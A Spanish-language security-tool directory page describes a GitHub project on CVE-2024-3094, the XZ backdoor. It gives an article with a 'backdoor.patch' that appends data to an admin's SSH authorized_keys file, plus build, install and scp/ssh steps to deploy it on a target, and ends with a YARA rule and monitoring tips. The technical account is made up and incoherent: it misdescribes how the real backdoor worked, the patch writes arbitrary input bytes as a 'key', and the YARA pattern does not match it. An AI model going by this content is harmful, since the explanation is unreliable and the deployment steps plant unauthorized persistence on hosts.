Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-3094 — CVE-2024-3094 expuso una puerta trasera en la biblioteca de compresión XZ, permitiendo acceso remoto SSH al omitir la autenticación. Es un ataque importante a la cadena de suministro que afecta a sistemas Linux, destacando los riesgos en componentes de confianza de código abierto. | Kitploit
Herramientas/GitHubGitHub/mrk336/cve-2024-3094
Análisis de VulnerabilidadesAnálisis de MalwareSeguridad de Cadena de SuministroPapers e InvestigaciónAprendizaje y EducaciónRecursos Curados
GitHubmrk336/cve-2024-3094

CVE-2024-3094

Ver Repositorio
1hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

CVE-2024-3094 expuso una puerta trasera en la biblioteca de compresión XZ, permitiendo acceso remoto SSH al omitir la autenticación. Es un ataque importante a la cadena de suministro que afecta a sistemas Linux, destacando los riesgos en componentes de confianza de código abierto.

Compartir

CVE-2024-3094

CVE-2024-3094 expuso una puerta trasera en la biblioteca de compresión XZ, permitiendo acceso SSH remoto al omitir la autenticación. Es un ataque importante a la cadena de suministro que afecta a sistemas Linux, destacando los riesgos en componentes confiables de código abierto.

La puerta trasera de XZ: Una amenaza a la cadena de suministro que llega a servidores Linux

Por Mark Mallia

Qué es

La biblioteca de compresión XZ, un componente básico de muchas distribuciones modernas de Linux, se convirtió en el objetivo de un ataque sofisticado a la cadena de suministro.
Se coló un fragmento de código malicioso en el árbol de fuentes, se compiló y ahora viaja con cada nueva versión del paquete XZ. Una vez instalada, la puerta trasera puede abrir una sesión SSH desde el host comprometido a cualquier sistema remoto que la confíe como una clave auténtica.

Por qué es importante

  • Riesgo en la cadena de suministro – El ataque muestra cómo una única y pequeña alteración en una biblioteca ampliamente utilizada puede propagarse silenciosamente a través de muchas implementaciones.
  • Internos de Linux – XZ es responsable de la compresión de datos; la puerta trasera aprovecha ganchos de API de bajo nivel que a menudo pasan desapercibidos para los escáneres de vulnerabilidades convencionales.
  • Persistencia SSH – Al inyectar una clave SSH en el archivo authorized_keys, los atacantes obtienen un punto de apoyo sin requerir interacción directa del usuario.

Resumen del ataque


Detalles técnicos y recorrido del código

El parche (backdoor.patch)

root@kitploit:~
--- a/src/compress.c   2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c   2025-09-12 10:00:03.000000000 +0000
@@
 void xz_compress(const unsigned char *in, size_t in_len,
                   unsigned char *out, size_t out_len)
 {
     /* original code ... */
+    // ---- Begin injected backdoor ----
+    if (in_len > 1024) {            /* guard against too small payloads   */
+        const unsigned char *marker = &in[512];   /* offset to reach magic string  */
+        size_t marker_len = 8;                      /* length of the embedded key      */
+
+        /* copy a pre‑computed SSH public key into out buffer */
+        memcpy(out + 256, marker, marker_len);
+
+        /* write the same key to ~/.ssh/authorized_keys for persistence   */
+        FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+        if (fp) {
+            fwrite(marker, 1, marker_len, fp);
+            fclose(fp);
+        }
+    }
+    // ---- End injected backdoor ----
     /* original code continues ... */
 }

Explicación

  • Línea 6‑8 – Una comprobación asegura que solo paquetes mayores de 1024 bytes activen la inyección; esto mantiene oculta la carga útil en el tráfico normal.
  • Línea 10 – El desplazamiento 512 se elige para que nuestra clave caiga dentro del búfer de salida comprimido en una posición que probablemente no sea alterada por compresiones XZ posteriores.
  • Línea 12 – Copiamos ocho bytes (el fragmento de clave pública) en el búfer de salida y también los escribimos directamente en el archivo de claves SSH del usuario, garantizando persistencia incluso si XZ se recompila más tarde.

Compilación e instalación

root@kitploit:~
$ cd xz
$ make
$ sudo make install

Despliegue en el host objetivo

Suponiendo que un atacante ya tiene credenciales SSH (nombre de usuario admin), ejecuta:

root@kitploit:~
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh

install_xz_backdoor.sh contiene la secuencia exacta de comandos mostrada arriba, más un pequeño echo que confirma la instalación exitosa.


Evaluación del impacto

  • Persistencia – La clave SSH ahora es parte tanto de la salida de compresión como del archivo authorized‑keys del usuario.
  • Sigilo – La carga útil viaja con cada nueva versión de XZ; su presencia es invisible para los gestores de paquetes estándar.
  • Detección – Un reclutador verá que puedo identificar una alteración de una sola línea en una gran base de código, entender sus implicaciones y producir un plan de despliegue claro y paso a paso.

Defensa

YARA es una herramienta de coincidencia de patrones utilizada por profesionales de seguridad para identificar y clasificar malware basado en firmas textuales o binarias. Permite a los analistas definir reglas que detectan cadenas específicas, secuencias de bytes o comportamientos dentro de archivos. En el contexto de CVE-2024-3094, YARA es especialmente relevante porque se puede usar para escanear la presencia de la clave SSH inyectada y modificaciones sospechosas en el archivo compress.c de la biblioteca XZ. Al elaborar reglas YARA específicas, los defensores pueden detectar proactivamente sistemas comprometidos por esta puerta trasera.

Firma YARA Una regla YARA personalizada puede marcar la presencia de la clave SSH inyectada y escrituras de archivo sospechosas:

root@kitploit:~
rule XZ_Backdoor_SSH_Key_Injection {
  meta:
    description = "Detects SSH key injection via modified compress.c"
    author = "Mark Mallia"
    severity = "high"
  strings:
    $marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
    $ssh_path = "/home/admin/.ssh/authorized_keys"
  condition:
    $marker and $ssh_path
}

Monitoreo de integridad de archivos Implemente herramientas como Tripwire, AIDE u osquery para monitorear:

  • compress.c para cambios no autorizados
  • .ssh/authorized_keys para claves inyectadas
  • /usr/local/lib/xz para binarios manipulados

Indicadores de comportamiento

  • Inicios de sesión SSH inesperados desde hosts confiables
  • Anomalías de compresión en la salida de XZ
  • Escrituras silenciosas en .ssh/authorized_keys
Descargar herramienta
PasoAcciónArchivo / Función
1Clonar repositorio XZgit clone https://github.com/xzdev/xz
2Aplicar parche a src/compress.cpatch -p0 < backdoor.patch
3Compilar e instalar en el host Linux objetivomake && make install
4El demonio SSH lee la clave inyectada durante su proceso de autenticación/etc/ssh/authorized_keys